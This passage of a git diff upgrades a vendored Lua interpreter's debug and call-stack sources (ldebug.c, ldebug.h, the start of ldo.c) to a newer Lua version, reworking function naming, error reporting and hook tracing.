lua_unlock(L); return name; } LUA_API const char *lua_setlocal(lua_State *L, const lua_Debug *ar, int n) { - StkId pos = 0; /* to avoid warnings */ + StkId pos = NULL; /* to avoid warnings */ const char *name; lua_lock(L); - swapextra(L); - name = findlocal(L, ar->i_ci, n, &pos); + name = luaG_findlocal(L, ar->i_ci, n, &pos); if (name) { - setobjs2s(L, pos, L->top - 1); + setobjs2s(L, pos, L->top.p - 1); + L->top.p--; /* pop value */ } - L->top--; /* pop value */ - swapextra(L); lua_unlock(L); return name; } static void funcinfo(lua_Debug *ar, Closure *cl) { - if (noLuaClosure(cl)) { + if (!LuaClosure(cl)) { ar->source = "=[C]"; + ar->srclen = LL("=[C]"); ar->linedefined = -1; ar->lastlinedefined = -1; ar->what = "C"; } else { - Proto *p = cl->l.p; - ar->source = p->source ? getstr(p->source) : "=?"; + const Proto *p = cl->l.p; + if (p->source) { + ar->source = getstr(p->source); + ar->srclen = tsslen(p->source); + } else { + ar->source = "=?"; + ar->srclen = LL("=?"); + } ar->linedefined = p->linedefined; ar->lastlinedefined = p->lastlinedefined; ar->what = (ar->linedefined == 0) ? "main" : "Lua"; } - luaO_chunkid(ar->short_src, ar->source, LUA_IDSIZE); + luaO_chunkid(ar->short_src, ar->source, ar->srclen); +} + + +static int nextline(const Proto *p, int currentline, int pc) { + if (p->lineinfo[pc] != ABSLINEINFO) + return currentline + p->lineinfo[pc]; + else + return luaG_getfuncline(p, pc); } static void collectvalidlines(lua_State *L, Closure *f) { - if (noLuaClosure(f)) { - setnilvalue(L->top); + if (!LuaClosure(f)) { + setnilvalue(s2v(L->top.p)); api_incr_top(L); } else { - int i; - TValue v; - int *lineinfo = f->l.p->lineinfo; + const Proto *p = f->l.p; + int currentline = p->linedefined; Table *t = luaH_new(L); /* new table to store active lines */ - sethvalue(L, L->top, t); /* push it on stack */ + sethvalue2s(L, L->top.p, t); /* push it on stack */ api_incr_top(L); - setbvalue(&v, 1); /* boolean 'true' to be the value of all indices */ - for (i = 0; i < f->l.p->sizelineinfo; i++) /* for all lines with code */ - luaH_setint(L, t, lineinfo[i], &v); /* table[line] = true */ + if (p->lineinfo != NULL) { /* proto with debug information? */ + int i; + TValue v; + setbtvalue(&v); /* boolean 'true' to be the value of all indices */ + if (!p->is_vararg) /* regular function? */ + i = 0; /* consider all instructions */ + else { /* vararg function */ + lua_assert(GET_OPCODE(p->code[0]) == OP_VARARGPREP); + currentline = nextline(p, currentline, 0); + i = 1; /* skip first instruction (OP_VARARGPREP) */ + } + for (; i < p->sizelineinfo; i++) { /* for each instruction */ + currentline = nextline(p, currentline, i); /* get its line */ + luaH_setint(L, t, currentline, &v); /* table[line] = true */ + } + } } } +static const char *getfuncname(lua_State *L, CallInfo *ci, const char **name) { + /* calling function is a known function? */ + if (ci != NULL && !(ci->callstatus & CIST_TAIL)) + return funcnamefromcall(L, ci->previous, name); + else return NULL; /* no way to find a name */ +} + + static int auxgetinfo(lua_State *L, const char *what, lua_Debug *ar, Closure *f, CallInfo *ci) { int status = 1; @@ -230,12 +329,12 @@ static int auxgetinfo(lua_State *L, const char *what, lua_Debug *ar, break; } case 'l': { - ar->currentline = (ci && isLua(ci)) ? currentline(ci) : -1; + ar->currentline = (ci && isLua(ci)) ? getcurrentline(ci) : -1; break; } case 'u': { ar->nups = (f == NULL) ? 0 : f->c.nupvalues; - if (noLuaClosure(f)) { + if (!LuaClosure(f)) { ar->isvararg = 1; ar->nparams = 0; } else { @@ -249,17 +348,22 @@ static int auxgetinfo(lua_State *L, const char *what, lua_Debug *ar, break; } case 'n': { - /* calling function is a known Lua function? */ - if (ci && !(ci->callstatus & CIST_TAIL) && isLua(ci->previous)) - ar->namewhat = getfuncname(L, ci->previous, &ar->name); - else - ar->namewhat = NULL; + ar->namewhat = getfuncname(L, ci, &ar->name); if (ar->namewhat == NULL) { ar->namewhat = ""; /* not found */ ar->name = NULL; } break; } + case 'r': { + if (ci == NULL || !(ci->callstatus & CIST_TRAN)) + ar->ftransfer = ar->ntransfer = 0; + else { + ar->ftransfer = ci->u2.transferinfo.ftransfer; + ar->ntransfer = ci->u2.transferinfo.ntransfer; + } + break; + } case 'L': case 'f': /* handled by lua_getinfo */ break; @@ -275,32 +379,27 @@ LUA_API int lua_getinfo(lua_State *L, const char *what, lua_Debug *ar) { int status; Closure *cl; CallInfo *ci; - StkId func; + TValue *func; lua_lock(L); - swapextra(L); - if (*what == '>') { ci = NULL; - func = L->top - 1; + func = s2v(L->top.p - 1); api_check(L, ttisfunction(func), "function expected"); what++; /* skip the '>' */ - L->top--; /* pop function */ + L->top.p--; /* pop function */ } else { ci = ar->i_ci; - func = ci->func; - lua_assert(ttisfunction(ci->func)); + func = s2v(ci->func.p); + lua_assert(ttisfunction(func)); } cl = ttisclosure(func) ? clvalue(func) : NULL; status = auxgetinfo(L, what, ar, cl, ci); if (strchr(what, 'f')) { - setobjs2s(L, L->top, func); + setobj2s(L, L->top.p, func); api_incr_top(L); } - - swapextra(L); - if (strchr(what, 'L')) { + if (strchr(what, 'L')) collectvalidlines(L, cl); - } lua_unlock(L); return status; } @@ -312,102 +411,86 @@ LUA_API int lua_getinfo(lua_State *L, const char *what, lua_Debug *ar) { ** ======================================================= */ -static const char *getobjname(Proto *p, int lastpc, int reg, - const char **name); - - -/* -** find a "name" for the RK value 'c' -*/ -static void kname(Proto *p, int pc, int c, const char **name) { - if (ISK(c)) { /* is 'c' a constant? */ - TValue *kvalue = &p->k[INDEXK(c)]; - if (ttisstring(kvalue)) { /* literal constant? */ - *name = svalue(kvalue); /* it is its own name */ - return; - } - /* else no reasonable name found */ - } else { /* 'c' is a register */ - const char *what = getobjname(p, pc, c, name); /* search for 'c' */ - if (what && *what == 'c') { /* found a constant name? */ - return; /* 'name' already filled */ - } - /* else no reasonable name found */ - } - *name = "?"; /* no reasonable name found */ -} static int filterpc(int pc, int jmptarget) { if (pc < jmptarget) /* is code conditional (inside a jump)? */ return -1; /* cannot know who sets that register */ - else - return pc; /* current position sets that register */ + else return pc; /* current position sets that register */ } + /* -** try to find last instruction before 'lastpc' that modified register 'reg' +** Try to find last instruction before 'lastpc' that modified register 'reg'. */ -static int findsetreg(Proto *p, int lastpc, int reg) { +static int findsetreg(const Proto *p, int lastpc, int reg) { int pc; int setreg = -1; /* keep last instruction that changed 'reg' */ - int jmptarget = 0; /* any code before this address is conditional */ + int jmptarget = 0; /* any code before this address is conditional */ + if (testMMMode(GET_OPCODE(p->code[lastpc]))) + lastpc--; /* previous instruction was not actually executed */ for (pc = 0; pc < lastpc; pc++) { Instruction i = p->code[pc]; OpCode op = GET_OPCODE(i); int a = GETARG_A(i); + int change; /* true if current instruction changed 'reg' */ switch (op) { - case OP_LOADNIL: { + case OP_LOADNIL: { /* set registers from 'a' to 'a+b' */ int b = GETARG_B(i); - if (a <= reg && reg <= a + b) /* set registers from 'a' to 'a+b' */ - setreg = filterpc(pc, jmptarget); + change = (a <= reg && reg <= a + b); break; } - case OP_TFORCALL: { - if (reg >= a + 2) /* affect all regs above its base */ - setreg = filterpc(pc, jmptarget); + case OP_TFORCALL: { /* affect all regs above its base */ + change = (reg >= a + 2); break; } case OP_CALL: - case OP_TAILCALL: { - if (reg >= a) /* affect all registers above base */ - filterpc(pc, jmptarget); + case OP_TAILCALL: { /* affect all registers above base */ + change = (reg >= a); break; } - case OP_JMP: { - int b = GETARG_sBx(i); + case OP_JMP: { /* doesn't change registers, but changes 'jmptarget' */ + int b = GETARG_sJ(i); int dest = pc + 1 + b; - /* jump is forward and do not skip `lastpc'? */ - if (pc < dest && dest <= lastpc) { - pc += b; /* do the jump */ - if (dest > jmptarget) { - jmptarget = dest; /* update 'jmptarget' */ - } - } + /* jump does not skip 'lastpc' and is larger than current one? */ + if (dest <= lastpc && dest > jmptarget) + jmptarget = dest; /* update 'jmptarget' */ + change = 0; break; } - case OP_TEST: { - if (reg == a) /* jumped code can change 'a' */ - filterpc(pc, jmptarget); - break; - } - default: - if (testAMode(op) && reg == a) /* any instruction that set A */ - filterpc(pc, jmptarget); + default: /* any instruction that sets A */ + change = (testAMode(op) && reg == a); break; } + if (change) + setreg = filterpc(pc, jmptarget); } return setreg; } -static const char *getobjname(Proto *p, int lastpc, int reg, - const char **name) { - int pc; - *name = luaF_getlocalname(p, reg + 1, lastpc); +/* +** Find a "name" for the constant 'c'. +*/ +static const char *kname(const Proto *p, int index, const char **name) { + TValue *kvalue = &p->k[index]; + if (ttisstring(kvalue)) { + *name = getstr(tsvalue(kvalue)); + return "constant"; + } else { + *name = "?"; + return NULL; + } +} + + +static const char *basicgetobjname(const Proto *p, int *ppc, int reg, + const char **name) { + int pc = *ppc; + *name = luaF_getlocalname(p, reg + 1, pc); if (*name) /* is a local? */ return "local"; /* else try symbolic execution */ - pc = findsetreg(p, lastpc, reg); + *ppc = pc = findsetreg(p, pc, reg); if (pc != -1) { /* could find instruction? */ Instruction i = p->code[pc]; OpCode op = GET_OPCODE(i); @@ -415,36 +498,95 @@ static const char *getobjname(Proto *p, int lastpc, int reg, case OP_MOVE: { int b = GETARG_B(i); /* move from 'b' to 'a' */ if (b < GETARG_A(i)) - return getobjname(p, pc, b, name); /* get name for 'b' */ + return basicgetobjname(p, ppc, b, name); /* get name for 'b' */ break; } - case OP_GETTABUP: - case OP_GETTABLE: { - int k = GETARG_C(i); /* key index */ - int t = GETARG_B(i); /* table index */ - const char *vn = (op == OP_GETTABLE) /* name of indexed variable */ - ? luaF_getlocalname(p, t + 1, pc) - : upvalname(p, t); - kname(p, pc, k, name); - return (vn && strcmp(vn, LUA_ENV) == 0) ? "global" : "field"; - } case OP_GETUPVAL: { *name = upvalname(p, GETARG_B(i)); return "upvalue"; } case OP_LOADK: - case OP_LOADKX: { - int b = (op == OP_LOADK) ? GETARG_Bx(i) - : GETARG_Ax(p->code[pc + 1]); - if (ttisstring(&p->k[b])) { - *name = svalue(&p->k[b]); - return "constant"; - } + return kname(p, GETARG_Bx(i), name); + case OP_LOADKX: + return kname(p, GETARG_Ax(p->code[pc + 1]), name); + default: break; + } + } + return NULL; /* could not find reasonable name */ +} + + +/* +** Find a "name" for the register 'c'. +*/ +static void rname(const Proto *p, int pc, int c, const char **name) { + const char *what = basicgetobjname(p, &pc, c, name); /* search for 'c' */ + if (!(what && *what == 'c')) /* did not find a constant name? */ + *name = "?"; +} + + +/* +** Find a "name" for a 'C' value in an RK instruction. +*/ +static void rkname(const Proto *p, int pc, Instruction i, const char **name) { + int c = GETARG_C(i); /* key index */ + if (GETARG_k(i)) /* is 'c' a constant? */ + kname(p, c, name); + else /* 'c' is a register */ + rname(p, pc, c, name); +} + + +/* +** Check whether table being indexed by instruction 'i' is the +** environment '_ENV' +*/ +static const char *isEnv(const Proto *p, int pc, Instruction i, int isup) { + int t = GETARG_B(i); /* table index */ + const char *name; /* name of indexed variable */ + if (isup) /* is 't' an upvalue? */ + name = upvalname(p, t); + else /* 't' is a register */ + basicgetobjname(p, &pc, t, &name); + return (name && strcmp(name, LUA_ENV) == 0) ? "global" : "field"; +} + + +/* +** Extend 'basicgetobjname' to handle table accesses +*/ +static const char *getobjname(const Proto *p, int lastpc, int reg, + const char **name) { + const char *kind = basicgetobjname(p, &lastpc, reg, name); + if (kind != NULL) + return kind; + else if (lastpc != -1) { /* could find instruction? */ + Instruction i = p->code[lastpc]; + OpCode op = GET_OPCODE(i); + switch (op) { + case OP_GETTABUP: { + int k = GETARG_C(i); /* key index */ + kname(p, k, name); + return isEnv(p, lastpc, i, 1); + } + case OP_GETTABLE: { + int k = GETARG_C(i); /* key index */ + rname(p, lastpc, k, name); + return isEnv(p, lastpc, i, 0); + } + case OP_GETI: { + *name = "integer index"; + return "field"; + } + case OP_GETFIELD: { + int k = GETARG_C(i); /* key index */ + kname(p, k, name); + return isEnv(p, lastpc, i, 0); } case OP_SELF: { - int k = GETARG_C(i); /* key index */ - kname(p, pc, k, name); + rkname(p, lastpc, i, name); return "method"; } default: @@ -455,94 +597,131 @@ static const char *getobjname(Proto *p, int lastpc, int reg, } -static const char *getfuncname(lua_State *L, CallInfo *ci, const char **name) { - TMS tm; - Proto *p = ci_func(ci)->p; /* calling function */ - int pc = currentpc(ci); /* calling instruction index */ +/* +** Try to find a name for a function based on the code that called it. +** (Only works when function was called by a Lua function.) +** Returns what the name is (e.g., "for iterator", "method", +** "metamethod") and sets '*name' to point to the name. +*/ +static const char *funcnamefromcode(lua_State *L, const Proto *p, + int pc, const char **name) { + TMS tm = (TMS)0; /* (initial value avoids warnings) */ Instruction i = p->code[pc]; /* calling instruction */ switch (GET_OPCODE(i)) { case OP_CALL: - case OP_TAILCALL: /* get function name */ - return getobjname(p, pc, GETARG_A(i), name); + case OP_TAILCALL: + return getobjname(p, pc, GETARG_A(i), name); /* get function name */ case OP_TFORCALL: { /* for iterator */ *name = "for iterator"; return "for iterator"; } - /* all other instructions can call only through metamethods */ + /* other instructions can do calls through metamethods */ case OP_SELF: case OP_GETTABUP: case OP_GETTABLE: + case OP_GETI: + case OP_GETFIELD: tm = TM_INDEX; break; case OP_SETTABUP: case OP_SETTABLE: + case OP_SETI: + case OP_SETFIELD: tm = TM_NEWINDEX; break; - case OP_EQ: - tm = TM_EQ; - break; - case OP_ADD: - tm = TM_ADD; - break; - case OP_SUB: - tm = TM_SUB; - break; - case OP_MUL: - tm = TM_MUL; - break; - case OP_DIV: - tm = TM_DIV; - break; - case OP_MOD: - tm = TM_MOD; - break; - case OP_POW: - tm = TM_POW; + case OP_MMBIN: + case OP_MMBINI: + case OP_MMBINK: { + tm = cast(TMS, GETARG_C(i)); break; + } case OP_UNM: tm = TM_UNM; break; + case OP_BNOT: + tm = TM_BNOT; + break; case OP_LEN: tm = TM_LEN; break; - case OP_LT: - tm = TM_LT; - break; - case OP_LE: - tm = TM_LE; - break; case OP_CONCAT: tm = TM_CONCAT; break; + case OP_EQ: + tm = TM_EQ; + break; + /* no cases for OP_EQI and OP_EQK, as they don't call metamethods */ + case OP_LT: + case OP_LTI: + case OP_GTI: + tm = TM_LT; + break; + case OP_LE: + case OP_LEI: + case OP_GEI: + tm = TM_LE; + break; + case OP_CLOSE: + case OP_RETURN: + tm = TM_CLOSE; + break; default: - return NULL; /* else no useful name can be found */ + return NULL; /* cannot find a reasonable name */ } - *name = getstr(G(L)->tmname[tm]); + *name = getshrstr(G(L)->tmname[tm]) + 2; return "metamethod"; } + +/* +** Try to find a name for a function based on how it was called. +*/ +static const char *funcnamefromcall(lua_State *L, CallInfo *ci, + const char **name) { + if (ci->callstatus & CIST_HOOKED) { /* was it called inside a hook? */ + *name = "?"; + return "hook"; + } else if (ci->callstatus & CIST_FIN) { /* was it called as a finalizer? */ + *name = "__gc"; + return "metamethod"; /* report it as such */ + } else if (isLua(ci)) + return funcnamefromcode(L, ci_func(ci)->p, currentpc(ci), name); + else + return NULL; +} + /* }====================================================== */ /* -** only ANSI way to check whether a pointer points to an array -** (used only for error messages, so efficiency is not a big concern) +** Check whether pointer 'o' points to some value in the stack frame of +** the current function and, if so, returns its index. Because 'o' may +** not point to a value in this stack, we cannot compare it with the +** region boundaries (undefined behavior in ISO C). */ -static int isinstack(CallInfo *ci, const TValue *o) { - StkId p; - for (p = ci->u.l.base; p < ci->top; p++) - if (o == p) return 1; - return 0; +static int instack(CallInfo *ci, const TValue *o) { + int pos; + StkId base = ci->func.p + 1; + for (pos = 0; base + pos < ci->top.p; pos++) { + if (o == s2v(base + pos)) + return pos; + } + return -1; /* not found */ } +/* +** Checks whether value 'o' came from an upvalue. (That can only happen +** with instructions OP_GETTABUP/OP_SETTABUP, which operate directly on +** upvalues.) +*/ static const char *getupvalname(CallInfo *ci, const TValue *o, const char **name) { LClosure *c = ci_func(ci); int i; for (i = 0; i < c->nupvalues; i++) { - if (c->upvals[i]->v == o) { + if (c->upvals[i]->v.p == o) { *name = upvalname(c->p, i); return "upvalue"; } @@ -551,85 +730,256 @@ static const char *getupvalname(CallInfo *ci, const TValue *o, } -l_noret luaG_typeerror(lua_State *L, const TValue *o, const char *op) { +static const char *formatvarinfo(lua_State *L, const char *kind, + const char *name) { + if (kind == NULL) + return ""; /* no information */ + else + return luaO_pushfstring(L, " (%s '%s')", kind, name); +} + +/* +** Build a string with a "description" for the value 'o', such as +** "variable 'x'" or "upvalue 'y'". +*/ +static const char *varinfo(lua_State *L, const TValue *o) { CallInfo *ci = L->ci; - const char *name = NULL; - const char *t = objtypename(o); + const char *name = NULL; /* to avoid warnings */ const char *kind = NULL; if (isLua(ci)) { kind = getupvalname(ci, o, &name); /* check whether 'o' is an upvalue */ - if (!kind && isinstack(ci, o)) /* no? try a register */ - kind = getobjname(ci_func(ci)->p, currentpc(ci), - cast_int(o - ci->u.l.base), &name); + if (!kind) { /* not an upvalue? */ + int reg = instack(ci, o); /* try a register */ + if (reg >= 0) /* is 'o' a register? */ + kind = getobjname(ci_func(ci)->p, currentpc(ci), reg, &name); + } } - if (kind) - luaG_runerror(L, "attempt to %s %s " LUA_QS " (a %s value)", - op, kind, name, t); - else - luaG_runerror(L, "attempt to %s a %s value", op, t); + return formatvarinfo(L, kind, name); } -l_noret luaG_concaterror(lua_State *L, StkId p1, StkId p2) { - if (ttisstring(p1) || ttisnumber(p1)) p1 = p2; - lua_assert(!ttisstring(p1) && !ttisnumber(p1)); +/* +** Raise a type error +*/ +static l_noret typeerror(lua_State *L, const TValue *o, const char *op, + const char *extra) { + const char *t = luaT_objtypename(L, o); + luaG_runerror(L, "attempt to %s a %s value%s", op, t, extra); +} + + +/* +** Raise a type error with "standard" information about the faulty +** object 'o' (using 'varinfo'). +*/ +l_noret luaG_typeerror(lua_State *L, const TValue *o, const char *op) { + typeerror(L, o, op, varinfo(L, o)); +} + + +/* +** Raise an error for calling a non-callable object. Try to find a name +** for the object based on how it was called ('funcnamefromcall'); if it +** cannot get a name there, try 'varinfo'. +*/ +l_noret luaG_callerror(lua_State *L, const TValue *o) { + CallInfo *ci = L->ci; + const char *name = NULL; /* to avoid warnings */ + const char *kind = funcnamefromcall(L, ci, &name); + const char *extra = kind ? formatvarinfo(L, kind, name) : varinfo(L, o); + typeerror(L, o, "call", extra); +} + + +l_noret luaG_forerror(lua_State *L, const TValue *o, const char *what) { + luaG_runerror(L, "bad 'for' %s (number expected, got %s)", + what, luaT_objtypename(L, o)); +} + + +l_noret luaG_concaterror(lua_State *L, const TValue *p1, const TValue *p2) { + if (ttisstring(p1) || cvt2str(p1)) p1 = p2; luaG_typeerror(L, p1, "concatenate"); } -l_noret luaG_aritherror(lua_State *L, const TValue *p1, const TValue *p2) { - TValue temp; - if (luaV_tonumber(p1, &temp) == NULL) - p2 = p1; /* first operand is wrong */ - luaG_typeerror(L, p2, "perform arithmetic on"); +l_noret luaG_opinterror(lua_State *L, const TValue *p1, + const TValue *p2, const char *msg) { + if (!ttisnumber(p1)) /* first operand is wrong? */ + p2 = p1; /* now second is wrong */ + luaG_typeerror(L, p2, msg); +} + + +/* +** Error when both values are convertible to numbers, but not to integers +*/ +l_noret luaG_tointerror(lua_State *L, const TValue *p1, const TValue *p2) { + lua_Integer temp; + if (!luaV_tointegerns(p1, &temp, LUA_FLOORN2I)) + p2 = p1; + luaG_runerror(L, "number%s has no integer representation", varinfo(L, p2)); } l_noret luaG_ordererror(lua_State *L, const TValue *p1, const TValue *p2) { - const char *t1 = objtypename(p1); - const char *t2 = objtypename(p2); - if (t1 == t2) + const char *t1 = luaT_objtypename(L, p1); + const char *t2 = luaT_objtypename(L, p2); + if (strcmp(t1, t2) == 0) luaG_runerror(L, "attempt to compare two %s values", t1); else luaG_runerror(L, "attempt to compare %s with %s", t1, t2); } -static void addinfo(lua_State *L, const char *msg) { - CallInfo *ci = L->ci; - if (isLua(ci)) { /* is Lua code? */ - char buff[LUA_IDSIZE]; /* add file:line information */ - int line = currentline(ci); - TString *src = ci_func(ci)->p->source; - if (src) - luaO_chunkid(buff, getstr(src), LUA_IDSIZE); - else { /* no source available; use "?" instead */ - buff[0] = '?'; - buff[1] = '\0'; - } - luaO_pushfstring(L, "%s:%d: %s", buff, line, msg); +/* add src:line information to 'msg' */ +const char *luaG_addinfo(lua_State *L, const char *msg, TString *src, + int line) { + char buff[LUA_IDSIZE]; + if (src) + luaO_chunkid(buff, getstr(src), tsslen(src)); + else { /* no source available; use "?" instead */ + buff[0] = '?'; + buff[1] = '\0'; } + return luaO_pushfstring(L, "%s:%d: %s", buff, line, msg); } l_noret luaG_errormsg(lua_State *L) { if (L->errfunc != 0) { /* is there an error handling function? */ StkId errfunc = restorestack(L, L->errfunc); - if (!ttisfunction(errfunc)) luaD_throw(L, LUA_ERRERR); - setobjs2s(L, L->top, L->top - 1); /* move argument */ - setobjs2s(L, L->top - 1, errfunc); /* push function */ - L->top++; - luaD_call(L, L->top - 2, 1, 0); /* call it */ + lua_assert(ttisfunction(s2v(errfunc))); + setobjs2s(L, L->top.p, L->top.p - 1); /* move argument */ + setobjs2s(L, L->top.p - 1, errfunc); /* push function */ + L->top.p++; /* assume EXTRA_STACK */ + luaD_callnoyield(L, L->top.p - 2, 1); /* call it */ } luaD_throw(L, LUA_ERRRUN); } l_noret luaG_runerror(lua_State *L, const char *fmt, ...) { + CallInfo *ci = L->ci; + const char *msg; va_list argp; + luaC_checkGC(L); /* error message uses memory */ va_start(argp, fmt); - addinfo(L, luaO_pushvfstring(L, fmt, argp)); + msg = luaO_pushvfstring(L, fmt, argp); /* format message */ va_end(argp); + if (isLua(ci)) { /* if Lua function, add source:line information */ + luaG_addinfo(L, msg, ci_func(ci)->p->source, getcurrentline(ci)); + setobjs2s(L, L->top.p - 2, L->top.p - 1); /* remove 'msg' */ + L->top.p--; + } luaG_errormsg(L); } + +/* +** Check whether new instruction 'newpc' is in a different line from +** previous instruction 'oldpc'. More often than not, 'newpc' is only +** one or a few instructions after 'oldpc' (it must be after, see +** caller), so try to avoid calling 'luaG_getfuncline'. If they are +** too far apart, there is a good chance of a ABSLINEINFO in the way, +** so it goes directly to 'luaG_getfuncline'. +*/ +static int changedline(const Proto *p, int oldpc, int newpc) { + if (p->lineinfo == NULL) /* no debug information? */ + return 0; + if (newpc - oldpc < MAXIWTHABS / 2) { /* not too far apart? */ + int delta = 0; /* line difference */ + int pc = oldpc; + for (;;) { + int lineinfo = p->lineinfo[++pc]; + if (lineinfo == ABSLINEINFO) + break; /* cannot compute delta; fall through */ + delta += lineinfo; + if (pc == newpc) + return (delta != 0); /* delta computed successfully */ + } + } + /* either instructions are too far apart or there is an absolute line + info in the way; compute line difference explicitly */ + return (luaG_getfuncline(p, oldpc) != luaG_getfuncline(p, newpc)); +} + + +/* +** Traces Lua calls. If code is running the first instruction of a function, +** and function is not vararg, and it is not coming from an yield, +** calls 'luaD_hookcall'. (Vararg functions will call 'luaD_hookcall' +** after adjusting its variable arguments; otherwise, they could call +** a line/count hook before the call hook. Functions coming from +** an yield already called 'luaD_hookcall' before yielding.) +*/ +int luaG_tracecall(lua_State *L) { + CallInfo *ci = L->ci; + Proto *p = ci_func(ci)->p; + ci->u.l.trap = 1; /* ensure hooks will be checked */ + if (ci->u.l.savedpc == p->code) { /* first instruction (not resuming)? */ + if (p->is_vararg) + return 0; /* hooks will start at VARARGPREP instruction */ + else if (!(ci->callstatus & CIST_HOOKYIELD)) /* not yieded? */ + luaD_hookcall(L, ci); /* check 'call' hook */ + } + return 1; /* keep 'trap' on */ +} + + +/* +** Traces the execution of a Lua function. Called before the execution +** of each opcode, when debug is on. 'L->oldpc' stores the last +** instruction traced, to detect line changes. When entering a new +** function, 'npci' will be zero and will test as a new line whatever +** the value of 'oldpc'. Some exceptional conditions may return to +** a function without setting 'oldpc'. In that case, 'oldpc' may be +** invalid; if so, use zero as a valid value. (A wrong but valid 'oldpc' +** at most causes an extra call to a line hook.) +** This function is not "Protected" when called, so it should correct +** 'L->top.p' before calling anything that can run the GC. +*/ +int luaG_traceexec(lua_State *L, const Instruction *pc) { + CallInfo *ci = L->ci; + lu_byte mask = L->hookmask; + const Proto *p = ci_func(ci)->p; + int counthook; + if (!(mask & (LUA_MASKLINE | LUA_MASKCOUNT))) { /* no hooks? */ + ci->u.l.trap = 0; /* don't need to stop again */ + return 0; /* turn off 'trap' */ + } + pc++; /* reference is always next instruction */ + ci->u.l.savedpc = pc; /* save 'pc' */ + counthook = (mask & LUA_MASKCOUNT) && (--L->hookcount == 0); + if (counthook) + resethookcount(L); /* reset count */ + else if (!(mask & LUA_MASKLINE)) + return 1; /* no line hook and count != 0; nothing to be done now */ + if (ci->callstatus & CIST_HOOKYIELD) { /* hook yielded last time? */ + ci->callstatus &= ~CIST_HOOKYIELD; /* erase mark */ + return 1; /* do not call hook again (VM yielded, so it did not move) */ + } + if (!isIT(*(ci->u.l.savedpc - 1))) /* top not being used? */ + L->top.p = ci->top.p; /* correct top */ + if (counthook) + luaD_hook(L, LUA_HOOKCOUNT, -1, 0, 0); /* call count hook */ + if (mask & LUA_MASKLINE) { + /* 'L->oldpc' may be invalid; use zero in this case */ + int oldpc = (L->oldpc < p->sizecode) ? L->oldpc : 0; + int npci = pcRel(pc, p); + if (npci <= oldpc || /* call hook when jump back (loop), */ + changedline(p, oldpc, npci)) { /* or when enter new line */ + int newline = luaG_getfuncline(p, npci); + luaD_hook(L, LUA_HOOKLINE, newline, 0, 0); /* call line hook */ + } + L->oldpc = npci; /* 'pc' of last call to line hook */ + } + if (L->status == LUA_YIELD) { /* did hook yield? */ + if (counthook) + L->hookcount = 1; /* undo decrement to zero */ + ci->callstatus |= CIST_HOOKYIELD; /* mark that it yielded */ + luaD_throw(L, LUA_YIELD); + } + return 1; /* keep 'trap' on */ +} + diff --git a/client/deps/liblua/ldebug.h b/client/deps/liblua/ldebug.h index ba2487202..d6dd479ab 100644 --- a/client/deps/liblua/ldebug.h +++ b/client/deps/liblua/ldebug.h @@ -1,5 +1,5 @@ /* -** $Id: ldebug.h,v 2.7 2011/10/07 20:45:19 roberto Exp $ +** $Id: ldebug.h $ ** Auxiliary functions from Debug Interface module ** See Copyright Notice in lua.h */ @@ -11,24 +11,54 @@ #include "lstate.h" -#define pcRel(pc, p) (cast(int, (pc) - (p)->code) - 1) +#define pcRel(pc, p) (cast_int((pc) - (p)->code) - 1) -#define getfuncline(f,pc) (((f)->lineinfo) ? (f)->lineinfo[pc] : 0) - -#define resethookcount(L) (L->hookcount = L->basehookcount) /* Active Lua function (given call info) */ -#define ci_func(ci) (clLvalue((ci)->func)) +#define ci_func(ci) (clLvalue(s2v((ci)->func.p))) +#define resethookcount(L) (L->hookcount = L->basehookcount) + +/* +** mark for entries in 'lineinfo' array that has absolute information in +** 'abslineinfo' array +*/ +#define ABSLINEINFO (-0x80) + + +/* +** MAXimum number of successive Instructions WiTHout ABSolute line +** information. (A power of two allows fast divisions.) +*/ +#if !defined(MAXIWTHABS) +#define MAXIWTHABS 128 +#endif + + +LUAI_FUNC int luaG_getfuncline(const Proto *f, int pc); +LUAI_FUNC const char *luaG_findlocal(lua_State *L, CallInfo *ci, int n, + StkId *pos); LUAI_FUNC l_noret luaG_typeerror(lua_State *L, const TValue *o, const char *opname); -LUAI_FUNC l_noret luaG_concaterror(lua_State *L, StkId p1, StkId p2); -LUAI_FUNC l_noret luaG_aritherror(lua_State *L, const TValue *p1, +LUAI_FUNC l_noret luaG_callerror(lua_State *L, const TValue *o); +LUAI_FUNC l_noret luaG_forerror(lua_State *L, const TValue *o, + const char *what); +LUAI_FUNC l_noret luaG_concaterror(lua_State *L, const TValue *p1, + const TValue *p2); +LUAI_FUNC l_noret luaG_opinterror(lua_State *L, const TValue *p1, + const TValue *p2, + const char *msg); +LUAI_FUNC l_noret luaG_tointerror(lua_State *L, const TValue *p1, const TValue *p2); LUAI_FUNC l_noret luaG_ordererror(lua_State *L, const TValue *p1, const TValue *p2); LUAI_FUNC l_noret luaG_runerror(lua_State *L, const char *fmt, ...); +LUAI_FUNC const char *luaG_addinfo(lua_State *L, const char *msg, + TString *src, int line); LUAI_FUNC l_noret luaG_errormsg(lua_State *L); +LUAI_FUNC int luaG_traceexec(lua_State *L, const Instruction *pc); +LUAI_FUNC int luaG_tracecall(lua_State *L); + #endif diff --git a/client/deps/liblua/ldo.c b/client/deps/liblua/ldo.c index ee1551ac8..fb9758bae 100644 --- a/client/deps/liblua/ldo.c +++ b/client/deps/liblua/ldo.c @@ -1,17 +1,19 @@ /* -** $Id: ldo.c,v 2.108 2012/10/01 14:05:04 roberto Exp $ +** $Id: ldo.c $ ** Stack and Call structure of Lua ** See Copyright Notice in lua.h */ +#define ldo_c +#define LUA_CORE + +#include "lprefix.h" + #include #include #include -#define ldo_c -#define LUA_CORE - #include "lua.h" #include "lapi.h" @@ -33,6 +35,8 @@ +#define errorstatus(s) ((s) > LUA_YIELD) + /* ** {====================================================== @@ -46,30 +50,33 @@ ** C++ code, with _longjmp/_setjmp when asked to use them, and with ** longjmp/setjmp otherwise. */ -#if !defined(LUAI_THROW) +#if !defined(LUAI_THROW) /* { */ + +#if defined(__cplusplus) && !defined(LUA_USE_LONGJMP) /* { */ -#if defined(__cplusplus) && !defined(LUA_USE_LONGJMP) /* C++ exceptions */ -#define LUAI_THROW(L,c) throw(c) +#define LUAI_THROW(L,c) throw(c) #define LUAI_TRY(L,c,a) \ - try { a } catch(...) { if ((c)->status == 0) (c)->status = -1; } -#define luai_jmpbuf int /* dummy variable */ + try { a } catch(...) { if ((c)->status == 0) (c)->status = -1; } +#define luai_jmpbuf int /* dummy variable */ -#elif defined(LUA_USE_ULONGJMP) -/* in Unix, try _longjmp/_setjmp (more efficient) */ -#define LUAI_THROW(L,c) _longjmp((c)->b, 1) -#define LUAI_TRY(L,c,a) if (_setjmp((c)->b) == 0) { a } -#define 